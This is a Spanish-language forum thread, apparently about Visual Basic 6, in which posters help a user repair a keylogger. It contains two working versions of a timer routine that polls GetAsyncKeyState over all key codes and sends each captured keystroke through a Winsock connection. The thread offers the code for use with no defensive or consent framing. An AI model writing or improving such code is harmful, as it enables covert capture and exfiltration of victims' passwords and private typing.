No soy muy versado en VB pero me parece que esa api no esta bien implementada en


aqui lo que estas haciendo es verificando los codigos ascci del 0 al 255 y preguntando si la tecla no fue hundida  bueno debido a que la api retorna 1 si la tecla la presionaron o cero si no la han hunddo por lo que nunca entrara en el if.

  Si quieres saber si hay conexion a internet puedes usar gethostbyname con un servidor estable como google.es..

Saludos

hola, pone el code en codigo tipo visual basic

aca un code que porai te srive

Dim PropBag As New PropertyBag
Option Explicit
    Private Declare Function GetAsyncKeyState _
        Lib "user32" ( _
            ByVal vKey As Long) As Integer
   Private Sub Timer1_Timer()
       Dim i As Integer
       For i = 0 To 255
 
        If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
        If Winsock1.State = 7 Then
        Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
             End If
               End if
       Next
   End Sub
 

no lo probe pero creo que va bien, pero esa es la base, el winsock.state

PD: no revise el resto del code

PD (neo): lo hice asi nomas



saludos

fijate que yo no lo puse en form_load

nonono no hay problema por ahi pense que se lo iba tomar asi y despues cometia errores en sus futuros programas.

Option Explicit
 
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim PropBag As New PropertyBag
 
Private Sub Timer1_Timer()
   Dim i As Integer
   For i = 0 To 255
      If GetAsyncKeyState(i) = -32767 And Winsock1.State = sckConnected Then
         Winsock1.SendData Chr(i)
         Text1.Text = Text1.Text & Chr(i)
         Text1.SelStart = Len(Text1.Text)
      End If
   Next
End Sub